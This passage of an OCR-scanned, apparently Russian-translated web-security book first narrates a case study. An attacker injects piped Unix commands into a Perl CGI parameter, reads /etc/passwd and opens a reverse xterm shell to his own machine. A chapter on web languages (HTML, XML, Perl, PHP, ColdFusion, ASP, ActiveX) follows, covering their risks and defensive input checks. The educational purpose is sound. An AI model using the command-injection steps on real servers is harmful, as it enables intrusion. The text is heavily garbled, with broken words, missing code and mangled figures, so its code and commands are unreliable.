Как только взломщик обнаружил этот изъян, ему сразу стало ясно, что с Web сервера можно получить любой файл. Как видно из следующей записи системного файла (Group (e)), именно это он и сделал. [31/0ct/2001:03:06:21 +0530] "GET HTTP/1.0" 200 723 Взломщик воспользовался броузером для передачи запроса В ответ на этот запрос в бро узере отображается полное содержимое файла /etc/passwd, как показано на рис. 4. Но это еще не все. Существует еще один недостаток. Используя ограниченные знания Unix и Perl, взломщик может выполнить на Web сервере произвольные ко манды. Следующие два запроса (Group иллюстрируют эту возможность: 10.0.1.21 [31/0ct/2001:03:07:01 +0530] "GET HTTP/1.0" 200 1228 10.0.1.21 +0530] "GET HTTP/1.0" 200 . 31 boot Кот 5 toot root с 1:12 etc 2! 4096 lib 2 reo« root 4 191625 2 том root 4095 23 1999 root 5 9 5 roo: 20 2 1 5 5 4 40*5 21 19 4036 Рис. 5. Результат выполнения команд id u which Взломщик не пытается открыть произвольный файл, а использует в запросе сим вол конвейера (|) и конкретную последовательность команд. Тогда вместо открытия реального файла интерпретатор Perl создает дескриптор файла и связывает его с дан ными, сгенерированными с помощью команд, указанных в параметре запроса. Пер вый из двух последних запросов взломщика имеет следующий вид: Взломщик воспользовался сразу тремя командами Unix: la / id which 26 Часть I
Обратите внимание на использование конвейера в качестве значения параметра раде=. Команды отделяются друг от друга символом ОА перевода строки. На рис. 5 показано содержимое окна броузера на компьютере взломщика. На экране отображается список файлов корневого каталога сервера, полученный с помощью команды la /, эффективный пользовательский идентификатор процес са, запустившего сценарий полученный с использованием команды id, и путь к программе предоставленный командой which Теперь взломщик может запускать любые команды на Web сервере с правами учетной записи nobody. Когда ему надоело выполнять одиночные команды, он решил воспользоваться программой xterm для получения интерактивного доступа к оболочке Web сервера. Последний запрос, обработанный Web сервером, был связан с попыткой установки с помощью утилиты xterm обратного соединения с компьютером Для этого использовался следующий запрос: cgi?page=| Команда, указанная в адресе URL, преобразуется к виду xterm display В результате ее выполнения создается терминальное окно xterm, которое отображается на экране взломщика по адресу (рис. 6). Рис. 6. Запуск утилиты xterm и получение интерак тивного доступа к командной оболочке Теперь взломщик имеет полный интерактивный доступ к системе компании Acme Art, Inc. Далее не будет рассматриваться системный журнал, однако то, что необходи мо, мы изучили. Несмотря на аудит безопасности, брандмауэры, жесткую политику управления паролями и т.д., взломщик получил доступ к Web серверу, воспользовав шись тривиальными оплошностями разработчиков и уязвимостью конструкций URL к атакам с использованием одного лишь протокола HTTP. Будни электронной коммерции 27
ГЛАВА 1 ; На 1. Город или место наслаждений и чувственности, а зачастую поро ков и разложения. 2. Место пленения или изгнания. 3. Город, в котором отрицается духовность, а чувственные насла ждения становятся превыше всего.
Введение Жители Вавилона были известны введением денежного обращения и различны ми гедонистическими авантюрами. Однако, в отличие от других цивилизаций, су ществовавших в те времена, они разговаривали на одном языке. Это позволило им создать замечательные сооружения, в частности одно из семи чудес света --- висячие сады Семирамиды. Однако согласно Библии языковое единство послужило также причиной гибели Вавилона. В своем высокомерии его жители пытались построить башню до чтобы стать равными Богу. Но Господь рассердился и сделал так, чтобы все заговори ли на разных языках. В результате вавилоняне не могли больше общаться друг с дру гом, строительство башни прекратилось, а достигнуть небес так и не удалось. С тех пор эта башня называется Вавилонской, а слово "Вавилон" стало синонимом беспо рядка. Это в точности соответствует тому, чем стала Internet и всемирная паутина Web --- империей беспорядка и ненужных языков, каждый из которых может внести свой вклад в ее падение. В 1995 году повсеместное распространение Web выглядело не более чем мечтой, а языки программирования и технологии Web напоминали детские игры. В результате хакеры просто не интересовались проникновением на Web узлы. Однако в настоящее время картина изменилась и единичные успешные реализации сменились большим многообразием языков и технологий, готовых для применения хакерами. И они еже дневно "ощипывают" ничего не подозревающих граждан, компании, организации или правительственные учреждения. Сегодня в обстановке непрекращающегося роризма остается только одно: "послать вора для поимки вора". Поэтому отбросьте любые предвзятые представления об обеспечении безопасности. Без понимания пра вил игры придется просто плыть по течению. В этой главе не содержится подробного описания языков программирования для Web. Ее основная цель заключается в представлении Web программистам и специали стам по безопасности языков, используемых в настоящее время, функциональных возможностей, синтаксиса и потенциальных рисков, связанных с применением этих языков. Для усвоения материала последующих глав нужно понять концепции, кото рые описываются в более ранних главах. Читайте не спеша, при необходимости пере читывайте один и тот же материал повторно и не волнуйтесь, если за содержанием не удается уследить сразу. Скорее всего, это произойдет постепенно в процессе чтения. Языки Web Для того чтобы два компьютера могли "общаться" друг с другом, они должны быть правильно запрограммированы и "говорить" на одном языке. Существует множество популярных языков Web, и каждый из них имеет свои преимущества и недостатки. С одной стороны, легкий и простой в изучении язык HTML является, возможно, наилучшим выбором. Он имеет простой стиль и основывается лишь на нескольких сложных концепциях. С другой стороны, если нужно обеспечить интерактивность, динамическое обновление данных и сложное графическое отображение информации, лучше воспользоваться языком Java. Однако в любом случае для понимания способа взаимодействия Web сервера с клиентским броузером (а следовательно, для нахожде ния уязвимых мест в реализации этого процесса) необходимо иметь представление об основных технологиях. В этой главе обсуждаются наиболее популярные языки Web. Это далеко не исчерпы вающий список, но его вполне достаточно для того, чтобы разобраться с основными концепциями, положенными в основу большинства подобных языков программирования. Глава Языки программирования для Web: Вавилон XXI столетия 29
Рассматриваемые ниже языки являются основой большинства технологий, формирую щих инфраструктуру Web. Поэтому познакомиться с ними чрезвычайно важно. HTML Расширения файлов: Язык гипертекстовой разметки HTML Markup Language) предложен Тимом Бернерсом Ли (Tim в 1989 году и является фундаментом Inter net. Почти на каждом существующем Web узле HTML используется для отображе ния текста, графических объектов, воспроизведения звуков и анимации. Соответст вующая спецификация поддерживается консорциумом W3C (World Wide Web Con sortium, http://www.w3.org). Хотя HTML и является относительно новым, он основывается на более старом языке разметки SGML (Standard Generalized Markup Language). Предпосылки разви тия HTML возникли на десять лет раньше, когда Билл (Bill Atkinson) изо брел гиперкарту для компьютеров Macintosh и операционной системы MacOS. Она обладала свойством, положенным позднее в основу HTML. Для этой карты использо валась гиперсвязь слова или области страницы с другой областью или страницей. Это очень простая концепция, однако ранее она на практике широко не применялась. В языке HTML определен набор дескрипторов, с помощью которых можно уста новить способ отображения элементов, передаваемых броузеру. Уже давно не является секретом тот факт, что простые и кажущиеся безобидными элементы HTML можно использовать для получения неавторизованного доступа к Web серверам. В табл. приведен список дескрипторов HTML и указано их влияние на безопасность. При использовании других дескрипторов HTML также может возникнуть риск на рушения безопасности. Однако приведенный в табл. список является хорошей от правной точкой для понимания проблем безопасности, связанных с использованием HTML. Полный список дескрипторов HTML и описание их применения содержится в спецификации HTML 4.01 консорциума W3C, которую можно найти по адресу: http://www.w3c.org/TR/html401/. Советы по обеспечению максимальной платформенной независимости Web узла предоставляются соответствующей интерактивной службой W3C (HTML Validation Service, Для получения аналогичной информа ции можно также воспользоваться программой HTML Tidy Дэйва Раджета (Dave Raggett, Таблица Атрибуты дескрипторов HTML и их влияние на безопасность Дескриптор/атрибут Влияние на безопасность orm> Форма для пользовательского ввода Всякий раз, когда программе передается введенная пользователем информа ция, возникает риск нарушения безопасности. Именно таким образом и выпол няется большинство атак: программе передаются неожиданные символы, при водящие к ее неправильной работе action> Атрибут action Этот атрибут дескриптора orm> определяет программу, выполняемую на Web сервере. Зная имя программы, обрабатывающей пользовательские дан ные, взломщик может получить важную информацию о а также найти резервные копии или старые версии этой программы в том же или в дру гом каталоге 30 Часть I. Будни электронной коммерции
Продолжение табл. Дескриптор/атрибут Влияние на безопасность <form <script language= <input> type=hidden> <input <input size= <applet> Атрибут method Этот атрибут дескриптора <f orm> определяет механизм передачи пользователь ской информации программе обработки, находящейся на Web сервере. Сущест вует два метода передачи информации: POST и Определив используемый метод, взломщик может прослушивать информацию может оказаться очень важной) или, что еще хуже, выполнить ее подмену и привести к генерации неверных результатов. Методы GET и POST будут обсуждаться в главе 3 Язык сценария Дескриптор <script>, используемый вместе с атрибутом language, позволяет взломщику изменять любые клиентские сценарии, передаваемые броузеру. Если взломщику удастся это осуществить, то он сможет обойти определенные сцена рии, выполняющие фильтрацию или проверку передаваемых значений. К языкам клиентских сценариев относятся следующие: JavaScript; VBScript; • Jscript; •XML Управляющий элемент формы Дескриптор <input> позволяет создавать управляющие элементы формы для ввода данных. Можно изменить некоторые атрибуты и передать нежелательные данные на Web сервер Атрибутtype Этот атрибут со значением hidden позволяет взломщику задать для атрибута value нежелательное значение. Например, на некоторых Web узлах скрытый ат рибут используется для хранения цены товара из торговой тележки. Взломщик может вручную изменить цену этого товара. Если на сервере не выполняется проверка значения цены, то в интерактивном магазине можно будет покупать то вары по существенно сниженным ценам Атрибут maxlength Изменив атрибут maxlength, взломщик сможет передавать на сервер длинные строки, что приведет к его блокировке, если отсутствует механизм предвари тельной обработки входных данных Атрибут size Как и maxlength, этот атрибут взломщик может изменить. При этом появится возможность передачи на сервер длинных строк, которые при отсутствии их предварительной обработки приведут к блокировке сервера Java Этот дескриптор используется для запуска аплетов Поскольку аплет пере дается в незашифрованном виде и в нем содержится хорошо известный байт код, в сетевом трафике его можно обнаружить с помощью анализатора пакетов типа snort или EtherPeek. Для получения более подробной информации о де компиляции аплетов Java и использовании дескриптора <applet> читайте раз дел, посвященный Java, ниже в этой главе Глава Языки программирования для Web: Вавилон XXI столетия
Окончание табл. Дескриптор/атрибут Влияние на безопасность <object> Обычно этот дескриптор используется для запуска управляющих элементов Ac tiveX, но может применяться также и для аплетов Java. Взломщик может отпра вить электронное сообщение с внедренным кодом "заставить" пользова теля запустить элемент управления ActiveX и захватить управление системой. Элемент <object> является наилучшим способом распространения почтовых вирусов Этот дескриптор обычно используется совместно с дескриптором и предназначен для работы с элементами управления ActiveX и дополнительными модулями Netscape Динамический HTML (DHTML) Расширения файлов: Язык DHTML зачастую рассматривается как объектная версия HTML. Этот язык расширяет HTML и предоставляет новый уровень управления элементами страницы, обеспечивая доступ к ним и возможность модификации с использованием таких язы ков сценариев, как JavaScript или VBScript. Например, в дескрипторе графического изображения можно указать обработчик события который будет ак тивизироваться при перемещении указателя мыши над картинкой. Одним словом, DHTML позволяет разработчику Web приложений быстро создавать анимационные и другие эффекты, использовать текст с анимацией или динамическое изменение цвета. В аспекте обеспечения DHTML порождает те же проблемы, что и HTML, поскольку базируется на нем. XML Расширения файлов: Как и HTML, расширяемый язык разметки XML (extensible Markup Language) то же основан на стандартном обобщенном языке разметки SGML. Но, в отличие от своего строго определенного и стандартизованного собрата, он менее ограничен. В нем можно определять собственные дескрипторы и тем самым самостоятельно рас ширять язык. Основой такого расширения являются документы DTD (Document Type Definition), которые по своему функциональному назначению подобны библиотеке определения структуры информации реляционной базы данных. Документ DTD определяет на чальный и конечный дескрипторы файла XML и обеспечивает поддержку семантики данных. Например, для определения структуры данных, используемой дилером по продаже автомобилей, можно задать следующее определение DTD: Inventory ELEMENT Car ( Make, Model, Color, Make Model <!ELEMENT Color ELEMENT Owner Файл XML с данными может иметь следующий вид: ?> <!DOCTYPE Inventory PUBLIC > 32 Часть I. Будни электронной коммерции .
<Inventory> <Car> <Color>Red</Color> </Car> <Car> </Car> </Inventory> В коде представлено содержимое склада небольшого автомобильного агентства. В наборе данных указано всего два автомобиля --- Honda Civic красного цвета и Nissan Maxima черного цвета. Обратите внимание, что у автомобиля Civic два владельца. В спецификации DTD допускается определять множество владельцев. Для этого рядом с именем Owner нужно указать символ звездочки (*). Car ( Make, Model, Color, Приведенный пример дает общее представление о XML. Этот язык является еще достаточно новым, поэтому сейчас нет смысла упоминать о связанных с его использова нием проблемах обеспечения безопасности. Однако следует быть готовым к решению поскольку хакеры уже начинают проявлять к нему определенный интерес. XHTML Расширение файлов: Согласно материалам консорциума W3C, HTML 4 является финальной версией известного и широко распространенного языка. Следующая версия HTML будет пе реформулирована и расширена за счет включения определения и структуры XML. Другими словами, эти два языка будут объединены в XHTML, и продолжает управлять соответствующих стандартов. Полную спецификацию XHTML 1.1можнонайтипоадресу:http://www.w3c.org/TR/xhtmlll/.Каки язык XHTML находится на начальном этапе своего развития. Поэтому степень его защищенности еще не подвергалась скрупулезной проверке. Perl Расширения файлов: или любое Этот высокоуровневый язык программирования (часто называемый языком сценари ев) в 1987 году был создан Ларри Волом (Larry Wall). настоящее время Perl (Practical Extraction and Report Language) является наиболее переносимым языком сценариев, ко торый можно использовать в системах AS/400, Windows OS/2, Novell Netware, на компьютерах компании IBM суперкомпьютерах Cray, Digital VMS, от компании Hewlett Packard, в системах Linux, Tandem, MacOS и всех версиях Unix. Переносимость Perl, его низкая стоимость (он распространяется бесплатно) и ро способствовали его широкому применению в Internet. Это послужило одной из наиболее причин взрывного разрастания всемирной сети. Язык Perl чрезвычайно устойчив и гибок. Его можно использовать для выполнения серверных операций, реализации клиентских сценариев или создания автономных Глава Языки программирования для Web: Вавилон XXI столетия 33
приложений, например универсального диспетчера списков рассылки. Однако основ ное назначение Perl состоит в управлении серверными сценариями Web узлов. Вместе с тем безопасность никогда не являлась отличительным свойством этого языка. В ре зультате для Web узлов, на которых используется Perl, свойственны различные изъя ны подсистемы обеспечения безопасности. Правда, при этом имеется несколько путей снижения риска нарушения безопасности. Программный код на языке Perl может быть как очень простым, так и крайне сложным. Для более близкого знакомства с этим языком рассмотрим сценарий, кото рый можно запустить из командной строки для вывода на экран сообщения "We love (мы любим Perl). Из всех возможных путей решения этой задачи представлен один из наиболее простых вариантов. Сценарий Perl, предназначенный для и его на I = print Рассмотрим отдельно каждую строку. = Здесь параметры, заданные в командной строке, помещаются в массив $msg = В этой строке переменной присваивается значение, содержащееся в элементе массива print В этой строке содержимое переменной $msg выводится на экран. При этом к нему добавляется восклицательный знак и символ перевода строки. При запуске програм мы из командной строки на экране отображается следующая информация: love perl.pl "We love Perl" We love Perl! В приведенном примере интерпретатор Perl запускается в локальной системе, а сценарий --- из командной строки. Однако в Web такой подход используется чрезвы чайно редко, поскольку при выполнении большинства сценариев Perl в качестве ме ханизма взаимодействия с Web броузером используется интерфейс CGI (Common Gateway Interface --- интерфейс общего шлюза). Как правило, язык Perl используется для обработки данных, введенных пользова телем в полях формы. В качестве примера рассмотрим форму, в поля HTML и <textarea> которой пользователь может вводить данные. <form method=POST Email Address: <input size=60 Your <textarea cols=50 </html> Затем введенная информация передается Perl программе (т.е. mailto.pl) с помо щью метода POST, указанного в дескрипторе orm>. 34 Часть I. Будни электронной коммерции
После этого сценарий raailto.pl выполняет необходимые действия и возвращает сгенерированные данные обратно броузеру. Чрезвычайно ясная и простая процедура. Если вы уже используете в качестве языка серверных сценариев или только планируете это осуществить, учитывайте ряд рисков нарушения безопасности и соот ветствующие контрмеры. • Удостоверьтесь, что Web серверы не запускаются с административными привилегиями, т.е. с правами учетной записи root (Unix) или Ad ministrator (Windows). В противном случае существует опасность выполнения взломщиком команд с высокими привилегиями. • Всегда выполняйте предварительную обработку значений полей. Определите для приложения список допустимых алфавитно цифровых символов, а затем отфильтровывайте любые символы, не принадлежащие этому набору. Напри мер, если существует поле, предназначенное для ввода адреса электронной поч ты, то для выявления некорректной информации можно воспользоваться шаб лоном регулярного выражения. Это позволит выявить ошибку и сообщить пользователю о необходимости корректировки входных данных. В любом элек тронном адресе допустимы следующие символы: 0 9, только один сим вол дефис ( ), символ подчеркивания (_) и точка (.). Ниже приведено про стое выражение, позволяющее выявить опасный замысел, в рамках которого используется поле для ввода If print в вашем электронном адресе обнаружена ошибка. Введите данные еще }else{ оставшейся части сценария Perl Если этот фрагмент кода с регулярным выражением вам ничего не говорит, то его можно расшифровать следующим образом: / регулярного выражения начало строки [ начало списка символов алфавитно цифровой символ (включая точку черточку или дефис ] списка символов + 1 или больше символов из предыдущего списка символу [ начало списка символов буквенно цифровой символ (включая точку черточку или дефис ] списка символов + 1 больше символов из предыдущего списка $ конец строки / регулярного выражения Если условие !", задаваемое в выражении Perl, не выполняется, то сценарием возвращается сообщение об ошибке и пользователю придется исправить вве денную информацию. • Ограничьте использование локальных команд операционной системы. При пе редаче параметров функции или могут оказаться "смертельными", поскольку позволяют взломщику выполнять команды. Если Глава Языки программирования для Web: Вавилон XXI столетия 35
эти функции использовать все же необходимо, обязательно проверяйте входные переменные, как упоминалось выше. • В системах Unix не стоит использовать значения переменных окружения. Вместо этого задавайте значения переменных $РАТН и $IFS только в файлах сценариев. = Если вы не осуществляете явное управление этими переменными, взломщик сможет изменить их значения и заставить программу выполнить другую коман ду, а не ту, которая планировалась. • Проверяйте размер входных переменных или данных, введенных в поля фор мы. Для этого необходимо длину переменных, передаваемых в программу, либо использовать поле для ограничения размера данных, передаваемых в запросах POST (а иногда и Если этого не сделать, взломщик сможет отправить в переменной большое количество данных и привести к краху Web сервера, системы или, что еще хуже, добиться пере полнения буфера и удаленно выполнить произвольные команды. • Попробуйте отказаться от приема пути из полей формы. По крайней мере убедитесь, что путь является относительным, а не абсолютным. Кроме того, отслеживайте символы точки (. .) или прямой/обратной косой черты (/ или \). В противном случае взломщик сможет сгенерировать запрос на получение фай ла паролей системы Unix или запрос на получение резервной копии файла SAM системы Windows • По возможности используйте проверку допустимости используемых значений переменных. • По умолчанию сценарии Perl хранятся в виде незашифрованного текста. Поэтому после взлома Web сервера можно прочитать файлы Perl и извлечь из них различ ную информацию, например имена пользователей и пароли для доступа к базе данных. Несколько программ, например (http://www.perl2exe.com), позволяют скрыть код Perl. При их использовании создается независимый исполняемый файл из за чего становятся ненужными исходный код Perl и интерпретатор. Вообще, защита сценариев Perl имеет решающее значение, поэтому найдите или разработайте самостоятельно хорошую функцию анализа входных данных и приме няйте ее для проверки значения каждого поля пользовательской формы. Для получе ния более подробной информации о защите сценариев Perl обращайтесь по адресу: PHP ' • • Расширения файлов: .php, либо без расширения Хотя у языка РНР было несколько авторов, истоки его развития заложил Расмус Лердорф (Rasmus В 1995 году он разработал первый синтаксический анализа тор РНР, который, по существу, представлял собой на языке Perl. Расмус назвал ее персональной домашней страницей (Personal Home Page) или просто РНР. Эта программа была создана для регистрации посетителей его страницы резюме в Web. Позже программа была полностью переписана на языке С и стала гораздо больше. В ней были улучшены возможности синтаксического анализа и добавлены 36 Часть I. Будни электронной коммерции
средства доступа к базам данных. За прошедшие годы в развитие языка РНР внесли вклад другие программисты, в том числе Зив (Zeev и Энди Гут мане (Andy Gutmans), которые переработали модуль синтаксического анализа и соз дали РНР версии 3. За исключением страниц ASP и сценариев Perl, PHP является одним из наиболее распространенных языков серверных сценариев. Язык РНР чрезвычайно разносто ронний и может применяться для создания приложений, не связанных с Web. Тем не менее этот язык наиболее часто используется на Web серверах системы Unix (например, Apache; http://www.apache.org) как средство реализации серверной подсис темы обработки данных. Фактически, это наиболее часто используемый модуль Apache В име нах файлов РНР могут использоваться произвольные расширения, однако, как прави ло, применяются следующие: • • Для начального знакомства с кодом РНР рассмотрим фрагмент, в котором команда РНР echo используется для вывода строки "Hello World!" в пользовательском Web броузере. Пример PBF в коде Выводит строку "РНР Example: Hello World 1" в броузере PHP <?php echo "<br><hl>Hello World ?> Обратите внимание: язык РНР очень напоминает Perl. Строки 1 и 2 представляют собой комментарии HTML, о чем говорят дескрипторы В строке 3 содержится по следовательность дескрипторов HTML <head> и <title>. В строках 4, 5 и 6 содер жится код РНР. Он начинается в строке 4, на что указывает открывающая угловая скоб ка (<?). В строке 5 приведен код РНР, предназначенный для вывода на экран строки "Hello В строке 6 содержится закрывающая скобка соответствующая от крывающей скобке строки 4. В следующем примере содержится простой код РНР, после анализа которого можно легко выявить используемые на Web узле технологии. <? SQL = or or // SQL запрос $data = * or // Печать данных в print while ($row • fetch row { print print print print }print // Закрытие соединения SQL mysql Глава Языки программирования для Web: Вавилон XXI столетия
Примечательно то, что языкам РНР и Perl присущи схожие недостатки. Если в сце нарии обрабатываются входные данные, переданные из Web броузера для генерации за проса к базе данных, вызовы passthry(), shellexec(), exec() или включения SSI, то взломщик может воспользоваться слабой проверкой значений переменных и за ставить модуль РНР выполнить непредусмотренные действия, в том числе произволь ные команды. Чтобы ограничить потенциально опасное воздействие, не забудьте вклю чить в состав программ синтаксического анализа процедуры жесткой проверки входных данных. Как и при использовании Perl, в коде РНР можно (и нужно) использовать ре гулярные выражения для выявления злонамеренной информации в полях ввода и при необходимости генерировать сообщения об ошибке. В следующем фрагменте кода функция preg_match( для сравнения значения $string с регулярным выра жением. Эту функцию можно использовать для анализа значения числового поля. if echo ошибка в return break; Следующий фрагмент может оказаться полезным для анализа строкового поля: if return break; Дополнительную информацию о РНР и соответствующие программные модули можно получить по адресу: ColdFusion Расширения файлов: Это система разработки Web приложений от компании Ее самой новой версией является ColdFusion 5. В состав этой системы входит три ос новных компонента: сервер приложений (Application Server), язык разметки (Markup Language) и интегрированная среда разработки (Studio). Для повышения уровня защи ты от взлома нужно разобраться с основными принципами функционирования каж дого из этих компонентов. Сервер приложений ColdFusion Сервер приложений --- это ядро системы ColdFusion. Его можно использовать как на платформе Windows, так и Unix. Сервер приложений запускается на Web сервере и обрабатывает запросы страниц ColdFusion. Любой дескриптор ColdFusion перехваты вается и обрабатывается сервером приложений. Язык разметки ColdFusion ColdFusion (ColdFusion Markup Language --- CFML) является серверным языком, который и составляет мощь ColdFusion. В языке CFML используются соглашения HTML по использованию дескрипторов и передаче параметров в качестве их атри бутов. CFML используется совместно с сервером приложений для создания таких Web приложений, как виртуальные торговые тележки, интерактивные банковские счета и т.д. Сервер приложений распознает расширение Подобно файлам РНР и файлы CFM по умолчанию хранятся в виде неза шифрованного текста. Это означает, что любой человек с соответствующими правами, в том числе полученными несанкционированно, может просматривать эти файлы. 38 Часть I. Будни электронной коммерции
В этом случае взломщик может завладеть конфиденциальной информацией, например именами пользователей и паролями, и получить доступ ко всем пользовательским дан ным (например, номерам кредитных карточек, кодам социального страхования и др.). Код CFM похож на HTML тем, что в нем также используются дескрипторы, пре доставляющие разнообразные возможности, например подключение к базе данных, поддержку протоколов POP (Post Office Protocol) и SMTP (Simple Mail Transfer Proto col), а также поддержку объектной модели компонентов COM (Component Object Model). Кроме того, существуют дополнительные модули от сторонних производите лей, которые предоставляют дополнительные функции. Например, для выполнения запроса SELECT к базе данных можно использовать следующий фрагмент кода CFM: auto_id, auto make, auto model, auto color FROM autos WHERE auto id = Обратите внимание, что дескриптор имеет атрибут DATASOURCE, в котором задается используемый в запросе источник данных ODBC. Атрибут NAME используется для дополнительной настройки соединения ODBC. Имея общее представление о структуре запроса, взломщик может попытаться реализовать атаку на базу данных, сгенерировав нестандартный запрос. Например, переменная используется для передачи автоматически сгенерированного идентификационного номера, указан ного в адресе URL (для получения более подробной информации о командах GET и POST обратитесь к главе 3). При использовании следующего адреса URL будет сгене рирован запрос к базе данных с параметром auto_id, принимающим значение 1: id=l Как будет неоднократно отмечаться на протяжении всей книги, при отсутствии проверки корректности данных в серверной части приложения взломщик может пере дать на сервер любые данные. Для отображения информации, полученной в результате обработки предыдущего запроса SQL, нужно воспользоваться массивом automobiles. Поскольку в рассматриваемом примере информация содержится в базе данных inv ento ry, сгенерированный в качестве результата обработки запроса код HTML будет иметь следующий вид: Automobile Inventory Honda, Civic, Red, (1) Honda, Accord, Blue, (2) Nissan, Sentra, Black Обратите внимание, что данные, генерируемые с использованием дескриптора <CFOUTPUT>, почти всегда представляют собой код HTML. В данном случае слово "почти" означает, что всегда существует возможность обмана сервера приложений и получения исходного кода CFML. Однако это скорее исключение, чем правило. ColdFusion Studio Это интегрированная среда разработки (Integrated Development Environment --- IDE), предназначенная для создания Web страниц и приложений. Глава Языки программирования для Web: Вавилон XXI столетия 39
При совместном использовании компоненты ColdFusion Application Server, Markup Language и Studio создают идеальные условия для организации взлома. При этом ос новные проблемы связаны с файлами примеров и отсутствием проверки входных дан ных. Многие атаки на серверы ColdFusion, о которых сообщалось ранее, оказались успешными из за непрофессионально написанных примеров сценариев, которые по зволяли взломщикам загружать файлы, просматривать содержимое файлов и исход ный код, управлять Web службами и выполнять произвольные команды. Для решения всех этих проблем просто стоит удалить входящие в комплект поставки сценарии и всегда выполнять проверку значений полей ввода. Страницы ASP Расширения файлов: Активные серверные страницы ASP (Active Server Pages) являются технологией создания серверных сценариев, разработанной компанией Microsoft. В основном они предназначены для использования на Web сервере IIS (Internet Information Server) этой компании и в целях создания динамического содержимого Web узла позволяют совместно использовать код HTML, сценарии и серверные компоненты ActiveX. Как и при использовании Perl, PHP и CFM, язык ASP позволяет выполнять код на самом Web сервере. При этом конечному пользователю не требуется никаких дополнитель ных знаний. ASP напоминает другие языки серверных сценариев, которые рассматри вались выше, и позволяет генерировать запросы к базе данных, а также выполнять команды локальной системы. По умолчанию в качестве языка ASP используется VBScript, который представляет собой версию популярного языка Visual Basic, предназначенную для написания сце нариев. Он используется почти во всех программных продуктах компании Microsoft. Язык VBScript менее надежен, чем его предшественник, но предоставляет необходи мые средства для создания динамических Web страниц. Существует две базовые версии языка Visual Basic: для разработки серверных сценариев и клиентских сценариев. На страницах ASP серверные фрагменты кода обрамляются деск рипторами и *>, а в коде HTML клиентские сценарии размещаются между дескрипто рами Например, если необходимо, чтобы сервер IIS на Web странице вывел те кущую дату и время, можно воспользоваться следующим фрагментом кода: to server side date:</hl> =dateto server side </body> </html> Рассмотрим приведенный фрагмент подробнее. Первый дескриптор, является сокращенной версией обязательного дескриптора <script runat= который позволяет указать тип используемого серверного языка. Самой главной частью представленного кода ASP является строка =date которая сооб щает серверу о том, что необходимо запустить функцию VBScript и передать полученный результат клиенту. Результат работы отображается в окне клиентского Web броузера, как показано на рис. Не забывайте о том, что весь рассматриваемый фрагмент кода находится на сервере. Для того чтобы в клиентской части приложения можно было выполнить те же дейст вия, нужно использовать следующий фрагмент кода: 40 Часть I. Будни электронной коммерции
<html> <body> to client side date: & date() & to client side time: & time() & </script> </body> Welcome to server side date: And to server side time: 3:00:03 Рис. 1.1. использования функции языка Стоит отметить, что в клиентском сценарии нельзя применять дескриптор или атрибут runat дескриптора <script>. Вместо этого для вывода даты и времени на экран нужно использовать специальные функции VBScript и соответственно). Недостатком Web приложений, в которых применяются клиентские сценарии, явля ется возможность использования этих сценариев для достижения злонамеренных це лей. Скоро вы узнаете, как это осуществить. Взаимодействие с базами данных При использовании технологии ASP обращение к базам данных выполняется не так тривиально, как с помощью средств ColdFusion. Однако в общих чертах все же следует разобраться с тем, как это происходит. Во первых, информация о соединении очень важна в аспекте безопасности, поскольку в ней содержатся имена источников данных (Data Source Names --- DSN), пользовательские имена и пароли для доступа к данным. Во вторых, важные данные могут содержаться либо в самом файле ASP, либо в файле Строка Приведенный ниже фрагмент кода демонстрирует, как устанавливается соединение с базой данных. <object </object> language = VBScript Глава Языки программирования для Web: Вавилон XXI столетия 41
<body> = Script" SQL = "Select * Autos WHERE SetRS= Do While Not <table bordercolor=dlack border=2> <tr> <td> </tdxtd> </td><td> </td><td> <br> Loop </tr> </table> </body> </html> Из строки Session видно, что имя источника имя пользователя и пароль в виде незашифрованного текста хранятся в самом Если взломщику каким то образом удастся получить доступ к этому файлу или заста вить Web сервер передать соответствующий исходный код, он прямой доступ к базе данных. Результаты работы приведенного выше кода будут отражены в окне броузера, как показано на рис. 1.2. л Рис. 1.2. Информация из базы данных автомобилей, получен ная с помощью файла 42 Часть I. Будни электронной коммерции
При использовании второго сценария взаимодействия с базой данных размещать в файле ASP строку с информацией о соединении в текстовом виде уже не требуется. В этом случае вызовы функций переносятся в общий файл который должен размещаться в корневом каталоге приложения ASP (т.е. или c:\inetpub\scripts). Как правило, для того чтобы внесенные в файл изме нения вступили в силу, требуется перезагрузить Web сервер. В файле содержатся объявления объектов, переменных и методов, ис пользуемых во многих сценариях Web броузера, включая сценарии JavaScript, VBScript, и В этом файле могут описываться также события прило жения и сеансов, а также объявления <object> и библиотеки типов Для того чтобы избежать размещения информации о соединении в файле ASP, ее можно поместить в файл который хранится в корневом каталоге Web сервера Это позволит надежно скрыть конфиденциаль ную информацию. <SCRIPT Sub = script" 15 =30 End Sub </SCRIPT> Обратите внимание, что строка целиком вставлена в файл После этого аналогичную строку в файле ASP (и в любом другом файле ASP, который обращается к тому же источнику данных) можно удалить. Элементы управления ActiveX Элементы ActiveX относятся к объектной модели компонентов COM (Component Object Model). Это еще один механизм, разработанный компанией Microsoft для пере дачи динамического содержимого в Web. Кроме того, существуют также встраиваемые модули компании Netscape. Элементы управления ActiveX могут разрабатываться на многих языках програм мирования, включая C++, Visual Basic и Java. С использованием технологии ActiveX можно создавать объекты с динамическим содержимым, например часы, изображения с анимационными эффектами и соединения с базами данных. Опасность элементов ActiveX заключается в том, что они размещаются в программах контейнерах, таких, как Microsoft Office. В отличие от большинства упоминавшихся выше языков программирования Web, элементы ActiveX нельзя создавать в простых текстовых редакторах, поскольку они должны компилироваться и помещаться в файлы в интегрированной среде разра ботки IDE, например C++/MFC или Visual Basic. Созданный один раз, и соответствующий идентификатор должны использоваться в файле HTML, в ко тором выполняется загрузка элемента управления ActiveX. Ссылка создается с исполь зованием дескриптора HTML <object> и его атрибутов и CODEBASE. В следую щем фрагменте кода с помощью управляющего элемента ActiveX воспроизводится файл QuickTime. Глава Языки программирования для Web: Вавилон XXI столетия 43
